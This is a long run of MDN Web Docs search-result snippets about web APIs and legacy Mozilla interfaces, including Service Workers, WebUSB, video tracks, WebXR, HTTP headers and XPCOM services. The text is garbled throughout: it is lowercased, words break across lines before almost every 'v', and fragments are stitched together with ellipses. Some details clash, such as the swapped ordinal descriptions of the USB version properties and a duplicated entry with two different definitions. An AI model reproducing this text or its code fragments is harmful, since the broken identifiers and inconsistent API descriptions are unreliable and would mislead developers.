viceworker.addeventlistener('message', (message) => { console.log(message); }); specifications specification status ser
vice workersthe definition of 'message' in that specification.
ServiceWorkerContainer.oncontrollerchange - Web APIs
the oncontrollerchange property of the ser
viceworkercontainer interface is an event handler fired whenever a controllerchange event occurs — when the document's associated ser
viceworkerregistration acquires a new active worker.
... syntax ser
viceworkercontainer.oncontrollerchange = function(controllerchangeevent) { ...
... } example // tbd specifications specification status comment ser
vice workersthe definition of 'ser
viceworkercontainer: oncontrollerchange' in that specification.
ServiceWorkerContainer.onerror - Web APIs
the onerror property of the ser
viceworkercontainer interface is an event handler fired whenever an error event occurs in the associated ser
vice workers.
... syntax ser
viceworkercontainer.onerror = function(errorevent) { ...
... } example na
vigator.ser
viceworker.onerror = function(errorevent) { console.log(`received error message: ${errorevent.message}`); } ...
ServiceWorkerGlobalScope.onfetch - Web APIs
the onfetch property of the ser
viceworkerglobalscope interface is an event handler fired whenever a fetch event occurs (usually when the windoworworkerglobalscope.fetch() method is called.) syntax ser
viceworkerglobalscope.onfetch = function(fetchevent) { ...
... }; example this code snippet is from the ser
vice worker prefetch sample (see prefetch example live.) the ser
viceworkerglobalscope.onfetch event handler listens for the fetch event.
...about to fetch from network...'); return fetch(event.request).then(function(response) { console.log('response from network is:', response); return response; }).catch(function(error) { console.error('fetching failed:', error); throw error; }); }) ); }); specifications specification status comment ser
vice workersthe definition of 'event handlers' in that specification.
ServiceWorkerGlobalScope.oninstall - Web APIs
the oninstall property of the ser
viceworkerglobalscope interface is an event handler fired whenever an install event occurs (when the ser
vice worker installs).
... syntax ser
viceworkerglobalscope.oninstall = function(event) { ...
... }; examples the following snippet shows how an install event handler can be used to populate a cache with a number of responses, which the ser
vice worker can then use to serve assets offline: this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.add( '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ); }) ); }); specifications specification status comment ser
vice workersthe defi...
ServiceWorkerGlobalScope.onsync - Web APIs
the ser
viceworkerglobalscope.onsync event of the ser
viceworkerglobalscope interface is fired whenever a syncevent event occurs.
... this is triggered when a call to syncmanager.register is made from a ser
vice worker client page.
... syntax ser
viceworkerglobalscope.onsync = function(syncevent) { ...
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
the pushsubscriptionchange event is sent to the global scope of a ser
viceworker to indicate a change in push subscription that was triggered outside the application's control.
... consider using another method to synchronize subscription information between your ser
vice worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail.
... examples this example, run in the context of a ser
vice worker, listens for a pushsubscriptionchange event and re-subscribes to the lapsed subscription.
ServiceWorkerGlobalScope.registration - Web APIs
the registration read-only property of the ser
viceworkerglobalscope interface returns a reference to the ser
viceworkerregistration object, which represents the ser
vice worker's registration.
... syntax ser
viceworkerregistration = self.registration value a ser
viceworkerregistration object.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerglobalscope.registration' in that specification.
ServiceWorkerRegistration.index - Web APIs
the index read-only property of the ser
viceworkerregistration interface returns a reference to the contentindex interface, which allows for indexing of offline content.
... syntax var a contentindex object = ser
viceworkerregistration.index; value a contentindex object examples you can access the property from either your main script or the registered ser
vice worker.
... here is an example from the main script: // reference registration const registration = await na
vigator.ser
viceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } from the ser
vice worker: // ser
vice worker script const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
ServiceWorkerRegistration.installing - Web APIs
the installing property of the ser
viceworkerregistration interface returns a ser
vice worker whose ser
viceworker.state is installing.
... syntax var ser
viceworker = ser
viceworkerregistration.installing; value a ser
viceworker object, if it is currently in an installing state.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.installing' in that specification.
ServiceWorkerRegistration.onupdatefound - Web APIs
the onupdatefound property of the ser
viceworkerregistration interface is an eventlistener property called whenever an event of type statechange is fired; it is fired any time the ser
viceworkerregistration.installing property acquires a new ser
vice worker.
... syntax ser
viceworkerregistration.onupdatefound = function() { ...
... }; specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.onupdatefound' in that specification.
ServiceWorkerRegistration.scope - Web APIs
the scope read-only property of the ser
viceworkerregistration interface returns a unique identifier for a ser
vice worker registration.
... the ser
vice worker must be on the same origin as the document that registers the ser
viceworker.
... syntax var swscope = ser
viceworkerregistration.scope; specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.scope' in that specification.
ServiceWorkerRegistration.sync - Web APIs
the sync property of the ser
viceworkerregistration interface returns a reference to the syncmanager interface, which manages background synchronization processes.
... syntax var syncmanager = ser
viceworkerregistration.sync; value a syncmanager object.
... specifications specification status comment web background synchronization li
ving standard initial definition.
ServiceWorkerRegistration.waiting - Web APIs
the waiting property of the ser
viceworkerregistration interface returns a ser
vice worker whose ser
viceworker.state is installed.
... syntax var ser
viceworker = ser
viceworkerregistration.waiting; value a ser
viceworker object, if it is currently in an installed state.
... specifications specification status comment ser
vice workersthe definition of 'ser
viceworkerregistration.waiting' in that specification.
SourceBuffer.videoTracks - Web APIs
the
videotracks read-only property of the sourcebuffer interface returns a list of the
video tracks currently contained inside the sourcebuffer.
... syntax var my
videotracks = sourcebuffer.
videotracks; value an
videotracklist object.
... example tbd specifications specification status comment media source extensionsthe definition of '
videotracks' in that specification.
SpeechSynthesisVoice.localService - Web APIs
the localser
vice read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is supplied by a local speech synthesizer ser
vice (true), or a remote speech synthesizer ser
vice (false.) this property is pro
vided to allow differentiation in the case that some voice options are pro
vided by a remote ser
vice; it is possible that remote voices might have extra latency, bandwidth or cost associated with them, so such distinction may be useful.
... syntax var amilocal = speechsynthesisvoiceinstance.localser
vice; value a boolean.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localser
vice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localser
vice' in that specification.
msManipulationViewsEnabled - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the msmanipulation
viewsenabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using css rules.
... example using a json file: { msmanipulation
viewsenabled: true, } see also touch api microsoft api extensions ...
TreeWalker.previousNode() - Web APIs
the treewalker.pre
viousnode() method moves the current node to the pre
vious
visible node in the document order, and returns the found node.
... syntax node = treewalker.pre
viousnode(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.pre
viousnode(); // returns null as there is no parent specifications specification status comment domthe definition of 'treewalker.pre
viousnode' in that specification.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.pre
viousnode' in that specification.
TreeWalker.previousSibling() - Web APIs
the treewalker.pre
vioussibling() method moves the current node to its pre
vious sibling, if any, and returns the found sibling.
... syntax node = treewalker.pre
vioussibling(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.pre
vioussibling(); // returns null as there is no pre
vious sibiling specifications specification status comment domthe definition of 'treewalker.pre
vioussibling' in that specification.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.pre
vioussibling' in that specification.
UIEvent.view - Web APIs
the uievent.
view read-only property returns the windowproxy object from which the event was generated.
... syntax var
view = event.
view;
view is a reference to an abstract
view object.
... obsolete from document object model (dom) level 2 events specification, changed the type of
view from abstract
view to windowproxy.
USBDevice.configuration - Web APIs
the configuration read only property of the usbde
vice interface returns a usbconfiguration object for the currently selected interface for a paired usb de
vice.
... syntax var usbconfiguration = usbde
vice.configuration value a usbconfiguration object.
... async function connectde
vice(usbde
vice) { await usbde
vice.open(); if (usbde
vice.configuration === null) await usbde
vice.selectconfiguration(1); await usbde
vice.claiminterface(0); } specifications specification status comment webusbthe definition of 'configuration' in that specification.
USBDevice.isochronousTransferOut() - Web APIs
the isochronoustransferout() method of the usbde
vice interface returns a promise that resolves with a usbisochronousouttransferresult when time sensitive information has been transmitted to the usb de
vice.
... syntax var promise = usbde
vice.isochronoustransferout(endpointnumber, data, packetlengths) parameters endpointnumber the number of a de
vice-specific endpoint (buffer).
... data a typedarray containing the data to send to the de
vice.
USBDevice.selectAlternateInterface() - Web APIs
the selectalternateinterface() method of the usbde
vice interface returns a promise that resolves when the specified alternative endpoint is selected.
... syntax var promise = usbde
vice.selectalternateinterface(interfacenumber, alternatesetting) parameters interfacenumber the index of one of the interfaces supported by the de
vice.
... interfaces are de
vice-specific.
USBDevice.transferIn() - Web APIs
the transferin() method of the usbde
vice interface returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received from the usb de
vice.
... syntax var promise = usbde
vice.transferin(endpointnumber, length) parameters endpointnumber the number of a de
vice-specific endpoint (buffer).
... length the maximum number of bytes that will be read back from the de
vice.
USBDevice.transferOut() - Web APIs
the transferout() method of the usbde
vice interface returns a promise that resolves with a usbtransferoutresult when bulk or interrupt data is sent to the usb de
vice.
... syntax var promise = usbde
vice.transferout(endpointnumber, data) parameters endpointnumber the number of a de
vice-specific endpoint (buffer).
... data a typedarray containing the data to send to the de
vice.
USBDevice.usbVersionMajor - Web APIs
the usbversionmajor read only property of the usbde
vice interface is one of three properties that declare the usb protocol version supported by the de
vice.
... the other two properties are usbde
vice.usbversionminor and usbde
vice.usbversionsubminor.
... syntax var serialnumber = usbde
vice.usbversionmajor value the last of three properties that declare the usb protocol version supported by the de
vice.
USBDevice.usbVersionMinor - Web APIs
the usbversionminor read only property of the usbde
vice interface is one of three properties that declare the usb protocol version supported by the de
vice.
... the other two properties are usbde
vice.usbversionmajor and usbde
vice.usbversionsubminor.
... syntax var serialnumber = usbde
vice.usbversionminor value the second of three properties that declare the usb protocol version supported by the de
vice.
USBDevice.usbVersionSubminor - Web APIs
the usbversionsubminor read only property of the usbde
vice interface is one of three properties that declare the usb protocol version supported by the de
vice.
... the other two properties are usbde
vice.usbversionmajor and usbde
vice.usbversionminor.
... syntax var serialnumber = usbde
vice.usbversionsubminor value the first of three properties that declare the usb protocol version supported by the de
vice.
VideoTrack.sourceBuffer - Web APIs
the read-only
videotrack property sourcebuffer returns the sourcebuffer that created the track, or null if the track was not created by a sourcebuffer or the sourcebuffer has been removed from the mediasource.sourcebuffers attribute of its parent media source.
... syntax var sourcebuffer =
videotrack.sourcebuffer; value a sourcebuffer or null.
... specifications specification status comment media source extensionsthe definition of '
videotrack: sourcebuffer' in that specification.
VideoTrackList: addtrack event - Web APIs
the addtrack event is fired when a track is added to a
videotracklist.
... bubbles no cancelable no interface trackevent event handler property onaddtrack examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.
videotracks.addeventlistener('addtrack', (event) => { console.log(`
video track: ${event.track.label} added`); }); using the onaddtrack event handler property: const
videoelement = document.queryselector('
video');
videoelement.
videotracks.onaddtrack = (event) => { console.log(`
video track: ${event.track.label} added`); }; specifications specification status html li
ving standardthe definition of 'addtrack' in that specification.
... li
ving standard ...
VideoTrackList: removetrack event - Web APIs
the removetrack event is fired when a track is removed from a
videotracklist.
... bubbles no cancelable no interface trackevent event handler property onremovetrack examples using addeventlistener(): const
videoelement = document.queryselector('
video');
videoelement.
videotracks.addeventlistener('removetrack', (event) => { console.log(`
video track: ${event.track.label} removed`); }); using the onremovetrack event handler property: const
videoelement = document.queryselector('
video');
videoelement.
videotracks.onremovetrack = (event) => { console.log(`
video track: ${event.track.label} removed`); }; specifications specification status html li
ving standardthe definition of 'removetrack' in that specification.
... li
ving standard ...
Window.ondeviceorientationabsolute - Web APIs
summary an event handler for the de
viceorientationabsolute event containing information about an absolute de
vice orientation change.
... syntax window.onde
viceorientationabsolute = function(event) { ...
... }; window.addeventlistener('de
viceorientationabsolute', function(event) { ...
WindowClient.navigate() - Web APIs
the na
vigate() method of the windowclient interface loads a specified url into a controlled client page then returns a promise that resolves to the existing windowclient.
... syntax windowclient.na
vigate(url).then(function(windowclient) { // do something with your windowclient after na
vigation }); parameters url the location to na
vigate to.
... specifications specification status comment ser
vice workersthe definition of 'na
vigate()' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the inlineverticalfieldof
view read-only property of the xrrenderstate interface defines the angle of the field of
view in radians used when computing projection matrices for "inline" xrsession objects.
... syntax var adouble = xrrenderstate.inlineverticalfieldof
view; value a number.
... specifications specification status comment unknownthe definition of 'xrrenderstate.inlineverticalfieldof
view' in that specification.
XRRenderState.inlineVerticalFieldOfView - Web APIs
the read-only inlineverticalfieldof
view property of the xrrenderstate interface returns the default vertical field of
view for "inline" sessions and null for all immersive sessions.
... syntax var inlineverticalfieldof
view = xrrenderstate.inlineverticalfieldof
view; value a number for "inline" sessions, which represents the default field of
view, and null for immersive sessions.
... specifications specification status comment webxr de
vice apithe definition of 'xrrenderstate.inlineverticalfieldof
view' in that specification.
XRSystem: ondevicechange - Web APIs
the onde
vicechange property of the xrsystem interface is passed a de
vicechange event whenever availability of an immersive de
vice changes.
... syntax na
vigator.xr.onde
vicechange = function(event) { ...
... }; value undefined example na
vigator.xr.onde
vicechange = function(ev) { console.log("the availability of immersive xr de
vices has changed.") }; specifications specification status comment webxr de
vice apithe definition of 'onde
vicechange ' in that specification.
CSSOM View - CSS: Cascading Style Sheets
cssom
view is a module of css that lets you manipulate the
visual
view of a document, in particular its scrolling beha
vior.
... reference properties scroll-beha
vior guides coordinate systems a guide to the coordinate systems used to specify the position of a location in a display context, whether that context is a window on a monitor, a
viewport on a mobile de
vice, or a position on a sheet of paper when printing.
... specifications specification status comment css object model (cssom)
view module working draft initial definition.
<div>: The Content Division element - HTML: Hypertext Markup Language
the html content di
vision element (<div>) is the generic container for flow content.
... html <div class="shadowbox"> <p>here's a very interesting note displayed in a lovely shadowed box.</p> </div> css .shadowbox { width: 15em; border: 1px solid #333; box-shadow: 8px 8px 5px #444; padding: 8px 12px; background-image: linear-gradient(180deg, #fff, #ddd 40%, #ccc); } result specifications specification status comment html li
ving standardthe definition of '<div>' in that specification.
... li
ving standard no changes since the latest snapshot html5the definition of '<div>' in that specification.
Via - HTTP
the
via general header is added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers.
... header type general header forbidden header name yes syntax
via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] or
via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> directives <protocol-name> optional.
... examples
via: 1.1 vegur
via: http/1.1 gwa
via: 1.0 fred, 1.1 p.example.net specifications specification title rfc 7230, section 5.7.1:
via hypertext transfer protocol (http/1.1): message syntax and routing ...
503 Service Unavailable - HTTP
the hypertext transfer protocol (http) 503 ser
vice unavailable server error response code indicates that the server is not ready to handle the request.
...this response should be used for temporary conditions and the retry-after http header should, if possible, contain the estimated time for the recovery of the ser
vice.
... status 503 ser
vice unavailable specifications specification title rfc 7231, section 6.6.4: 503 ser
vice unavailable hypertext transfer protocol (http/1.1): semantics and content ...
DataView.prototype.buffer - JavaScript
the buffer accessor property represents the arraybuffer or sharedarraybuffer referenced by the data
view at construction time.
...the value is established when the data
view is constructed and cannot be changed.
... examples using the buffer property var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.buffer' in that specification.
DataView.prototype.byteOffset - JavaScript
the byteoffset accessor property represents the offset (in bytes) of this
view from the start of its arraybuffer or sharedarraybuffer.
...the value is established when an data
view is constructed and cannot be changed.
... examples using the byteoffset property var buffer = new arraybuffer(8); var data
view = new data
view(buffer); data
view.byteoffset; // 0 (no offset specified) var data
view2 = new data
view(buffer, 3); data
view2.byteoffset; // 3 (as specified when constructing the data
view) specifications specification ecmascript (ecma-262)the definition of 'data
view.prototype.byteoffset' in that specification.
Using audio and video in HTML - Web media technologies
the html <audio> and <
video> elements let you embed audio and
video content into a web page.
...in this guide, we'll re
view the media elements and how to use them in html content.
... we don't have a particularly good guide to using these objects offscreen at this time, although audio and
video manipulation may be a good start.
viewTarget - SVG: Scalable Vector Graphics
the
viewtarget attribute indicates the target object associated with the
view.
... only one element is using this attribute: <
view> usage notes value <xml-name> default value none animatable no <xml-name> this value specifies the name of the object associated with the
view.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of '
viewtarget' in that specification.
An Overview - XSLT: Extensible Stylesheet Language Transformations
the root node does not correspond to any indi
vidual part of the xml document: it represents the document as whole.
... transformations depend on the processor's being able to pinpoint indi
vidual nodes on the tree.
... stylesheets can be attached to an xml document
via a processing instruction.
Navigator.mozNotification - Archive of obsolete content
mobile only in gecko 2.0 available only in firefox mobile as of gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) pro
vides support for creating notification objects, which are used to display desktop notification alerts to the user.
... method over
view notification createnotification(in domstring title, in domstring description, in domstring iconurl optional); methods createnotification() creates and returns a notification object that can be used to display the specified message with an optional url.
Navigator - Archive of obsolete content
features that used to hang off the na
vigator interface, but have since been removed.
... na
vigator.moznotificationpro
vides support for creating notification objects, which are used to display desktop notification alerts to the user.
system/environment - Archive of obsolete content
access, set and clear en
vironment variables.
... usage var { env } = require('sdk/system/en
vironment'); you can get the value of an en
vironment variable, by accessing the property with the name of the desired variable: var path = env.path; you can check for the existence of an en
vironment variable by checking whether a property with that variable name exists: console.log('path' in env); // true console.log('foo' in env); // false you can set the value of an en
vironment variable by setting the property: env.foo = 'foo'; env.path += ':/my/path/' you can unset an en
vironment variable by deleting the property: delete env.foo; limitations there is no way to enumerate existing en
vironment variables, also env won't have any enumerable properties: console.log(object.keys(env)); // [] en
vironment variable will be unset, show up as n...
Overview of how downloads work - Archive of obsolete content
downloads
via the helper app ser
vice this diagram is an uml sequence diagram, and was created using dia.
... get the .dia file here: mozilla_downloads.dia downloads
via "save link target as" and friends this diagram is an uml sequence diagram, and was created using dia.
ensureElementIsVisible - Archive of obsolete content
« xul reference home ensureelementis
visible( element ) return type: no return value if the specified element is not currently
visible to the user, the displayed items are scrolled so that it is.
... if the item is already
visible, no scrolling occurs.
ensureIndexIsVisible - Archive of obsolete content
« xul reference home ensureindexis
visible( index ) return type: no return value if the item at the specified index is not currently
visible to the user the displayed items are scrolled so that it is.
... if the item is already
visible, no scrolling occurs.
ensureSelectedElementIsVisible - Archive of obsolete content
« xul reference home ensureselectedelementis
visible() return type: no return value if the currently selected element in the list box is not currently
visible to the user, the list box
view is scrolled so that it is.
... if the item is already
visible, no scrolling occurs.
getPreviousItem - Archive of obsolete content
« xul reference home getpre
viousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists.
... this example will return the item five rows before someitem: getpre
viousitem ( someitem, 5 ); ...
visibleTabs - Archive of obsolete content
« xul reference
visibletabs type: array an array containing tab objects for each
visible tab in the tabbrowser.
... this lets you determine which tabs are
visible in the current tab set.
Media (Audio-visual presentation) - MDN Web Docs Glossary: Definitions of Web-related terms
the term media (more accurately, multimedia) refers to audio,
video, or combined audio-
visual material such as music, recorded speech, mo
vies, tv shows, or any other form of content that is presented over a period of time.
... learn more general knowledge multimedia on wikipedia technical reference web media technologies: a guide to all the ways media can be used in web content multimedia and embedding in the mdn learning area <audio> and <
video> elements, used to present media in html documents ...
Privileged - MDN Web Docs Glossary: Definitions of Web-related terms
users are said to be pri
vileged when they are granted additional rights to a system, or given ultimate access to content in a higher priority level when compared to normal users.
... learn more general knowledge pri
vilege (computing) on wikipedia learn about it information security tutorial ...
nsObserverService
« xpcom api reference the xpcom observer ser
vice.
... class id d07f5195-e3d1-11d2-8acd-00105a1b8860 contractid @mozilla.org/observer-ser
vice;1 supported interfaces nsiobserverser
vice remarks this component is a singleton and should therefore be accessed
via the xpcom ser
vice manager.
GetGlobalMemoryService
« xpcom api reference summary the getglobalmemoryser
vice function returns a reference to xpcom's global nsimemory object.
... static nsimemory* getglobalmemoryser
vice(); return values this function returns nsnull if the global memory manager does not exist or could not be initialized.
PreviousSibling
« nsiaccessible page summary returns pre
vious node in accessible tree.
... attribute nsiaccessible pre
vioussibling; exceptions thrown ns_error_failure indicates that the accessible is unattached from the accessible tree.
nsIApplicationCacheService
netwerk/base/public/nsiapplicationcacheser
vice.idlscriptable this interface manages the set of application cache groups that manage offline resources for web applications.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void cacheopportunistically(in nsiapplicationcache cache, in acstring key); nsiapplicationcache chooseapplicationcache(in acstring key); nsiapplicationcache createapplicationcache(in acstring group); void deactivategroup(in acstring group); nsiapplicationcache getactivecache(in acstring group); nsiapplicationcache getapplicationcache(in acstring clientid); void getgroups([optional] out unsigned long count, [array, size_is(count), retval] out string groupids); methods cacheopportunistically() flags the specified key as one that should be cached opportunistically.
nsIAuthPromptProvider
netwerk/base/public/nsiauthpromptpro
vider.idlscriptable this interface requests a prompt interface for the given prompt reason.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void getauthprompt(in pruint32 apromptreason, in nsiidref iid, [iid_is(iid),retval] out nsqiresult result); constants constant value description prompt_normal 0 normal (non-proxy) prompt request.
nsIBlocklistService
xpcom/system/nsiblocklistser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 29 (firefox 29 / thunderbird 29 / seamonkey 2.26) method over
view unsigned long getaddonblockliststate(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); unsigned long getpluginblockliststate(in nsiplugintag plugin, [optional] in astring appversion, [optional] in astring toolkitversion); boolean isaddonblocklisted(in jsval addon, [optional] in astring appversion, [optional] in astring toolkitversion); constants constant value description state_not_blocked 0 state_softblocked 1 state_blocked 2 state_outdated 3 methods getaddonblock...
nsIDOMNavigatorDesktopNotification
dom/interfaces/notification/nsidomna
vigatordesktopnotification.idlscriptable property that extends the na
vigator object.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) property that extends the na
vigator object.
nsIErrorService
xpcom/base/nsierrorser
vice.idlscriptable this is a ser
vice that allows nsresult codes to be mapped to string bundles that can be used to look up error messages.
... inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/xpcom/error-ser
vice;1 method over
view string geterrorstringbundle(in short errormodule); string geterrorstringbundlekey(in nsresult error); void registererrorstringbundle(in short errormodule, in string stringbundleurl); void registererrorstringbundlekey(in nsresult error, in string stringbundlekey); void unregistererrorstringbundle(in short errormodule); void unregistererrorstringbundlekey(in nsresult error); methods geterrorstringbundle() retrieves a string bundle url for an error module.
nsIExternalURLHandlerService
uriloader/exthandler/nsiexternalurlhandlerser
vice.idlscriptable the external url handler ser
vice is used for finding platform-specific applications for handling particular urls.
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view nsihandlerinfo geturlhandlerinfofromos(in nsiuri aurl, out boolean afound); methods geturlhandlerinfofromos() given a url, looks up the handler info from the operating system.
nsIGSettingsService
xpcom/system/nsigsettingsser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/gsettings-ser
vice;1 as a ser
vice: var gsettingsser
vice = components.classes["@mozilla.org/gsettings-ser
vice;1"] .createinstance(components.interfaces.nsigsettingsser
vice); method over
view nsigsettingscollection getcollectionforschema(in autf8string schema); methods getcollectionforschema() nsigsettingscollection getcollectionforschema( in autf8string schema ); parameters schema return value ...
nsIIDNService
netwerk/dns/nsiidnser
vice.idlscriptable this interface pro
vides support for internationalized domain names, including methods for manipulating idn hostnames according to ietf specification.
... inherits from: nsisupports last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/idn-ser
vice;1 as a ser
vice: var idnser
vice = components.classes["@mozilla.org/network/idn-ser
vice;1"] .getser
vice(components.interfaces.nsiidnser
vice); method over
view autf8string convertacetoutf8(in acstring input); autf8string converttodisplayidn(in autf8string input, out boolean isascii); acstring convertutf8toace(in autf8string input); boolean isace(in acstring input); autf8string normalize(in autf8string input); methods convertacetoutf8() converts an ace (ascii compatible encoding) hostname into unicode format, returning a utf-8 format string.
nsISelectionImageService
layout/base/nsiselectionimageser
vice.idlnot scriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method over
view void getimage(in short selectionvalue, out imgicontainer container); void reset(); methods getimage() retrieve the image for alpha blending.
nsISmsDatabaseService
nsismsdatabaseser
vice dom/sms/interfaces/nsismsdatabaseser
vice.idlscriptable used to store and manage sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsdatabaseser
vice;1.
... to create an instance, use: var smsser
vice = components.classes["@mozilla.org/sms/smsdatabaseser
vice;1"] .createinstance(components.interfaces.nsismsdatabaseser
vice); method over
view long savereceivedmessage(in domstring asender, in domstring abody, in unsigned long long adate); long savesentmessage(in domstring areceiver, in domstring abody, in unsigned long long adate); void getmessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void deletemessage(in long messageid, in long requestid, [optional] in unsigned long long processid); void createmessagelist(in nsidommozsmsfilter filter, in boolean reverse, in long requestid, [optional] in unsigned long long processid); void getnextmessageinlist(in long listid, in long request...
nsISmsService
dom/sms/interfaces/nsismsser
vice.idlscriptable used to send sms text messages for the websms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/sms/smsser
vice;1.
... to create an instance, use: var smsser
vice = components.classes["@mozilla.org/sms/smsser
vice;1"] .createinstance(components.interfaces.nsismsser
vice); method over
view [implicit_jscontext] nsidommozsmsmessage createsmsmessage(in long id, in domstring delivery, in domstring sender, in domstring receiver, in domstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in domstring text); boolean hassupport(); void send(in domstring number, in domstring message, in long requestid, [optional] in unsigned long long processid); methods createsmsmessage() [implicit_jscontext] nsidommozsmsmessage createsmsmessage( in long id, in domstring delivery, in domstring sender, in domstring receiver, ...
nsIUTF8ConverterService
intl/uconv/idl/nsiutf8converterser
vice.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.7 method over
view autf8string convertstringtoutf8(in acstring astring, in string acharset, in boolean askipcheck); autf8string converturispectoutf8(in acstring aspec, in string acharset); methods convertstringtoutf8() ensure that astring is encoded in utf-8.
nsIXULSortService
content/xul/templates/public/nsixulsortser
vice.idlscriptable a ser
vice used to sort the contents of a xul widget.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void insertcontainernode(in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify); native code only!
nsMsgViewCommandCheckState
the nsmsg
viewcommandcheckstate interface contains constants used for command status in thunderbird.
... mailnews/base/public/nsimsgdb
view.idlscriptable please add a summary to this article.
nsMsgViewFlagsType
the nsmsg
viewflagstype interface contains constants used for
view flags in thunderbird.
...for example, the 'unread only'
view would use the flag: components.interfaces.nsmsg
viewflagstype.kunreadonly constants name value description knone 0x0 kthreadeddisplay 0x1 kshowignored 0x8 kunreadonly 0x10 kexpandall 0x20 kgroupbysort 0x40 ...
nsMsgViewSortOrder
the nsmsg
viewsortorder interface contains constants used for sort direction in thunderbird.
...for example to sort by date you would pass a function the value: components.interfaces.nsmsg
viewsortorder.ascending mailnews/base/public/nsimsgdb
view.idlscriptable please add a summary to this article.
nsMsgViewSortType
the nsmsg
viewsorttype interface contains constants used for sorting the thunderbird threadpane.
...for example to sort by date you would pass a function the value: components.interfaces.nsmsg
viewsorttype.bydate mailnews/base/public/nsimsgdb
view.idlscriptable please add a summary to this article.
nsMsgViewType
the nsmsg
viewtype interface contains constants used for
views in thunderbird.
...for example, to request the 'show all threads'
view use the constant: components.interfaces.nsmsg
viewtype.eshowallthreads constants name value description eshowallthreads 0 eshowthreadswithunread 2 eshowwatchedthreadswithunread 3 eshowquicksearchresults 4 eshow
virtualfolderresults 5 eshowsearch 6 ...
XPCOM category image-sniffing-services
if mozilla's built-in image code cannot identify an image, then any xpcom components implementing the nsicontentsniffer interface may register under the "image-sniffing-ser
vices" category, and will be queried to determine the mime type of the image being downloaded.
...see bug 813787 - remove support for image-sniffing-ser
vices.
ArrayBufferView - Web APIs
arraybuffer
view is a helper type representing any of the following javascript typedarray types: int8array, uint8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or data
view.
... specifications specification status comment web idlthe definition of 'arraybuffer
view' in that specification.
serviceData - Web APIs
the ser
vicedata read-only property of the bluetoothadvertisingdata interface returns a map that relates uuids to arraybuffers.
... syntax var ser
vicedata = bluetoothadvertisingdata.ser
vicedata; ...
deviceClass - Web APIs
the bluetoothde
vice.de
viceclass read-only property returns a number representing the bluetooth de
vices "class of de
vice".
